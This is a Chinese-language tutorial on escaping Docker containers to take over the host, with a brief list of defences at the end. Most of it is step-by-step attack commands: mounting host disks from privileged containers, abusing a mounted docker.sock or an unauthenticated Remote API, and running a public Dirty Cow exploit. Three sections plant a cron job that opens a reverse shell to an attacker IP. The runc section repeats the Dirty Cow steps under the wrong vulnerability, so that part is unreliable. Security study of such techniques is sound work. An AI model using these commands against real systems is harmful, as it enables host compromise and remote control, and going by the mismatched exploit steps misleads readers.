浅谈Docker逃逸
字数 1364 2025-08-24 07:48:22
Docker逃逸技术全面解析与防御指南
一、Docker逃逸概述
Docker逃逸是指攻击者从容器内部突破隔离限制,获取宿主机权限的过程。由于Docker本质上是Linux下的进程,通过NameSpace实现内核级别的环境隔离(文件、网络、资源),其隔离性弱于传统虚拟机,因此存在多种逃逸可能性。
二、Docker环境检测方法
在尝试逃逸前,需要确认当前环境是否为Docker容器:
-
查找.dockerenv文件
- Docker环境下默认存在/.dockerenv文件
- 非Docker环境则没有此文件
-
查询cgroup进程
cat /proc/1/cgroup -
查看容器环境变量
cat /proc/1/environ
三、特权模式逃逸
1. 特权模式判断
特权容器拥有宿主机文件读写权限,可通过以下方式判断:
cat /proc/1/status | grep Cap
特权容器的Cap集合值通常为0000003fffffffff,可通过解码确认:
capsh --decode=0000003fffffffff
特权容器还需满足:
- 缺少AppArmor配置文件(允许mount syscall)
- 能够访问敏感dev设备
2. 特权模式逃逸步骤
-
以特权模式运行容器:
docker run -it --privileged 镜像id /bin/bash -
查看磁盘文件:
fdisk -l -
挂载宿主机磁盘:
mkdir /test mount /dev/vda1 /test -
写入计划任务实现逃逸:
echo '* * * * * bash -i >& /dev/tcp/攻击者IP/端口 0>&1' >> /test/var/spool/cron/root
四、docker.sock挂载逃逸
1. 原理
Docker采用C/S架构,当容器挂载了/var/run/docker.sock时,可以通过此socket与宿主机Docker守护进程通信,执行任意Docker命令。
2. 逃逸步骤
-
运行挂载docker.sock的容器:
docker run -it -v /var/run/:/host/var/run/ 镜像id /bin/bash -
查找docker.sock:
find / -name docker.sock -
在容器内安装Docker客户端:
apt-get update apt-get install docker.io -
查看宿主机Docker信息:
docker -H unix:///host/var/run/docker.sock info -
运行新容器挂载宿主机根目录:
docker -H unix:///host/var/run/docker.sock run -v /:/test -it ubuntu:14.04 /bin/bash -
写入计划任务实现逃逸:
echo '* * * * * bash -i >& /dev/tcp/攻击者IP/端口 0>&1' >> /test/var/spool/cron/root
五、Remote API未授权访问逃逸
1. 未授权访问检测
当Docker Remote API暴露且未授权时(默认2375端口),可以:
-
获取所有容器信息:
GET /containers/json -
创建exec执行命令:
POST /containers/<container_id>/exec HTTP/1.1 { "AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["cat", "/etc/passwd"], "Privileged": true, "Tty": true } -
启动exec执行:
POST /exec/<exec_id>/start HTTP/1.1 { "Detach": false, "Tty": false }
2. 逃逸步骤
-
容器内安装Docker客户端:
apt-get update apt-get install docker.io -
查看宿主机Docker信息:
docker -H tcp://宿主机IP:2375 images -
运行新容器挂载宿主机根目录:
docker -H tcp://宿主机IP:2375 run -it -v /:/test 镜像id /bin/bash -
写入计划任务实现逃逸:
echo '* * * * * bash -i >& /dev/tcp/攻击者IP/端口 0>&1' >> /test/var/spool/cron/root
六、容器服务缺陷逃逸(runc漏洞)
1. 影响版本
- Docker version <= 18.09.2
- RunC version <= 1.0-rc6
2. 环境搭建
-
安装依赖:
apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common -
添加Docker GPG密钥:
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add - -
设置稳定版仓库:
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" -
更新并安装指定版本:
apt-get update apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
3. 逃逸步骤
-
下载并编译漏洞利用代码:
git clone https://github.com/gebl/dirtycow-docker-vdso.git cd dirtycow-docker-vdso/ -
编译并执行:
make ./0xdeadbeef 攻击者IP:端口
七、脏牛漏洞逃逸
Dirty Cow是Linux内核提权漏洞,由于Docker与宿主机共享内核,可利用此漏洞逃逸。
利用步骤
-
下载漏洞利用代码:
git clone https://github.com/gebl/dirtycow-docker-vdso.git cd dirtycow-docker-vdso/ -
编译并执行:
make ./0xdeadbeef 攻击者IP:端口
八、防御措施
- 避免使用特权模式:不要使用
--privileged参数运行容器 - 限制能力集:使用
--cap-drop=ALL移除所有能力,再按需添加 - 保护docker.sock:避免将
/var/run/docker.sock挂载到容器中 - 加固Remote API:禁用或配置TLS认证的Remote API访问
- 及时更新:保持Docker和宿主机内核最新版本
- 使用安全配置:启用AppArmor、Seccomp等安全机制
- 最小化容器权限:以非root用户运行容器进程
通过理解这些逃逸技术和防御措施,可以有效提升Docker环境的安全性。